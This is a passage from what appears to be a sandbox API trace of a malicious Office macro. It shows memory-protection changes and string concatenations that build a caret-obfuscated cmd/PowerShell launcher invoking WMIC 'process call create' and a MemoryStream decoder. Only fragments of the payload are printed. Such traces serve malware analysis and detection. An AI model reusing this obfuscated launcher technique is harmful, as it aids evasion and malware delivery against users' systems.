dwSize=0x8) returned 1 [0081.631] GetCurrentProcess () returned 0xffffffffffffffff [0081.631] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244200, dwSize=0x8) returned 1 [0081.631] GetCurrentProcess () returned 0xffffffffffffffff [0081.631] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b59, dwSize=0x8) returned 1 [0081.631] GetCurrentProcess () returned 0xffffffffffffffff [0081.631] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b58, dwSize=0x8) returned 1 [0081.631] GetCurrentProcess () returned 0xffffffffffffffff [0081.631] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b68, dwSize=0x2) returned 1 [0081.631] GetCurrentProcess () returned 0xffffffffffffffff [0081.631] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6bbc, dwSize=0x4d) returned 1 [0081.631] VirtualProtect (in: lpAddress=0x75e6bbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.631] GetCurrentProcess () returned 0xffffffffffffffff [0081.631] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244201, dwSize=0x8) returned 1 [0081.631] GetCurrentProcess () returned 0xffffffffffffffff [0081.631] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244200, dwSize=0x8) returned 1 [0081.631] GetCurrentProcess () returned 0xffffffffffffffff [0081.631] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244210, dwSize=0x2) returned 1 [0081.631] GetCurrentProcess () returned 0xffffffffffffffff [0081.631] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244264, dwSize=0x4d) returned 1 [0081.631] VirtualProtect (in: lpAddress=0x7244264, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e9, dwSize=0x8) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e8, dwSize=0x8) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442f8, dwSize=0x2) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724434c, dwSize=0x45) returned 1 [0081.632] VirtualProtect (in: lpAddress=0x724434c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244451, dwSize=0x8) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244450, dwSize=0x8) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244460, dwSize=0x2) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72444b4, dwSize=0x4d) returned 1 [0081.632] VirtualProtect (in: lpAddress=0x72444b4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244539, dwSize=0x8) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244538, dwSize=0x8) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244548, dwSize=0x2) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724459c, dwSize=0x4d) returned 1 [0081.632] VirtualProtect (in: lpAddress=0x724459c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245231, dwSize=0x8) returned 1 [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245230, dwSize=0x8) returned 1 [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245240, dwSize=0x2) returned 1 [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245294, dwSize=0x4d) returned 1 [0081.633] VirtualProtect (in: lpAddress=0x7245294, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245319, dwSize=0x8) returned 1 [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245318, dwSize=0x8) returned 1 [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245328, dwSize=0x2) returned 1 [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724537c, dwSize=0x45) returned 1 [0081.633] VirtualProtect (in: lpAddress=0x724537c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242d3c, dwSize=0x45) returned 1 [0081.633] VirtualProtect (in: lpAddress=0x7242d3c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db9, dwSize=0x8) returned 1 [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db8, dwSize=0x8) returned 1 [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242dc8, dwSize=0x2) returned 1 [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242e1c, dwSize=0x4d) returned 1 [0081.633] VirtualProtect (in: lpAddress=0x7242e1c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.633] IUnknown:AddRef (This=0xb3e3718) returned 0x3 [0081.633] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.634] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.634] IUnknown:Release (This=0xb3e3718) returned 0x2 [0081.634] IUnknown:AddRef (This=0xb3e3770) returned 0x6 [0081.634] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.634] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.634] IUnknown:Release (This=0xb3e3770) returned 0x5 [0081.634] IUnknown:AddRef (This=0xb3e3668) returned 0x2 [0081.634] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.634] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.634] IUnknown:Release (This=0xb3e3668) returned 0x1 [0081.634] IUnknown:AddRef (This=0xb3fb1f8) returned 0x3 [0081.634] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.634] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.634] IUnknown:Release (This=0xb3fb1f8) returned 0x2 [0081.634] IUnknown:AddRef (This=0xb3fb2a8) returned 0x3 [0081.634] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.634] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.634] IUnknown:Release (This=0xb3fb2a8) returned 0x2 [0081.634] GetAsyncKeyState (vKey=27) returned 0 [0081.634] VarBstrCat (in: bstrLeft="^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=fo", bstrRight="RE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ys", pbstrResult=0x27dec0 | out: pbstrResult=0x27dec0) returned 0x0 [0081.634] VarBstrCat (in: bstrLeft="^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ys", bstrRight="Te^m.", pbstrResult=0x27dec0 | out: pbstrResult=0x27dec0) returned 0x0 [0081.634] VarBstrCat (in: bstrLeft="^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.", bstrRight="I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stRe", pbstrResult=0x27dec0 | out: pbstrResult=0x27dec0) returned 0x0 [0081.634] VarBstrCat (in: bstrLeft="^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stRe", bstrRight="AMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, ,", pbstrResult=0x27dec0 | out: pbstrResult=0x27dec0) returned 0x0 [0081.635] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb614300 [0081.635] IMalloc:Alloc (This=0x7feffc15380, cb=0x570) returned 0xb6f85f0 [0081.635] IMalloc:Realloc (This=0x7feffc15380, pv=0xb4b2fb0, cb=0x400) returned 0xb5f48f0 [0081.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb610108, cbMultiByte=13, lpWideCharStr=0x7f50780, cchWideChar=28 | out: lpWideCharStr="RE^a^m] ^[C^O") returned 13 [0081.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb61011c, cbMultiByte=282, lpWideCharStr=0x7f50860, cchWideChar=566 | out: lpWideCharStr="n^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8") returned 282 [0081.635] IMalloc:Alloc (This=0x7feffc15380, cb=0x278) returned 0x7395dd0 [0081.635] IMalloc:Realloc (This=0x7feffc15380, pv=0xb614300, cb=0xb4) returned 0xb614300 [0081.635] IMalloc:Free (This=0x7feffc15380, pv=0xb07a710) [0081.635] GetCurrentProcess () returned 0xffffffffffffffff [0081.635] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244451, dwSize=0x8) returned 1 [0081.635] GetCurrentProcess () returned 0xffffffffffffffff [0081.635] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244450, dwSize=0x8) returned 1 [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b59, dwSize=0x8) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b58, dwSize=0x8) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b68, dwSize=0x2) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6bbc, dwSize=0x4d) returned 1 [0081.636] VirtualProtect (in: lpAddress=0x75e6bbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244201, dwSize=0x8) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244200, dwSize=0x8) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244210, dwSize=0x2) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244264, dwSize=0x4d) returned 1 [0081.636] VirtualProtect (in: lpAddress=0x7244264, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e9, dwSize=0x8) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e8, dwSize=0x8) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442f8, dwSize=0x2) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724434c, dwSize=0x45) returned 1 [0081.636] VirtualProtect (in: lpAddress=0x724434c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244451, dwSize=0x8) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244450, dwSize=0x8) returned 1 [0081.636] GetCurrentProcess () returned 0xffffffffffffffff [0081.636] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244460, dwSize=0x2) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72444b4, dwSize=0x4d) returned 1 [0081.637] VirtualProtect (in: lpAddress=0x72444b4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244539, dwSize=0x8) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244538, dwSize=0x8) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244548, dwSize=0x2) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724459c, dwSize=0x4d) returned 1 [0081.637] VirtualProtect (in: lpAddress=0x724459c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245231, dwSize=0x8) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245230, dwSize=0x8) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245240, dwSize=0x2) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245294, dwSize=0x4d) returned 1 [0081.637] VirtualProtect (in: lpAddress=0x7245294, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245319, dwSize=0x8) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245318, dwSize=0x8) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245328, dwSize=0x2) returned 1 [0081.637] GetCurrentProcess () returned 0xffffffffffffffff [0081.637] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724537c, dwSize=0x45) returned 1 [0081.637] VirtualProtect (in: lpAddress=0x724537c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.638] GetCurrentProcess () returned 0xffffffffffffffff [0081.638] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242d3c, dwSize=0x45) returned 1 [0081.638] VirtualProtect (in: lpAddress=0x7242d3c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.638] GetCurrentProcess () returned 0xffffffffffffffff [0081.638] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db9, dwSize=0x8) returned 1 [0081.638] GetCurrentProcess () returned 0xffffffffffffffff [0081.638] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db8, dwSize=0x8) returned 1 [0081.638] GetCurrentProcess () returned 0xffffffffffffffff [0081.638] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242dc8, dwSize=0x2) returned 1 [0081.638] GetCurrentProcess () returned 0xffffffffffffffff [0081.638] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242e1c, dwSize=0x4d) returned 1 [0081.638] VirtualProtect (in: lpAddress=0x7242e1c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.638] IUnknown:AddRef (This=0xb3e3718) returned 0x3 [0081.638] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.638] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.638] IUnknown:Release (This=0xb3e3718) returned 0x2 [0081.638] IUnknown:AddRef (This=0xb3e3770) returned 0x6 [0081.638] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.638] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.638] IUnknown:Release (This=0xb3e3770) returned 0x5 [0081.638] IUnknown:AddRef (This=0xb3e3668) returned 0x2 [0081.638] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.638] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.638] IUnknown:Release (This=0xb3e3668) returned 0x1 [0081.638] IUnknown:AddRef (This=0xb3fb1f8) returned 0x3 [0081.638] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.638] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.638] IUnknown:Release (This=0xb3fb1f8) returned 0x2 [0081.638] IUnknown:AddRef (This=0xb3fb2a8) returned 0x3 [0081.638] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.638] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.639] IUnknown:Release (This=0xb3fb2a8) returned 0x2 [0081.639] GetAsyncKeyState (vKey=27) returned 0 [0081.639] VarBstrCat (in: bstrLeft=" (^sEt 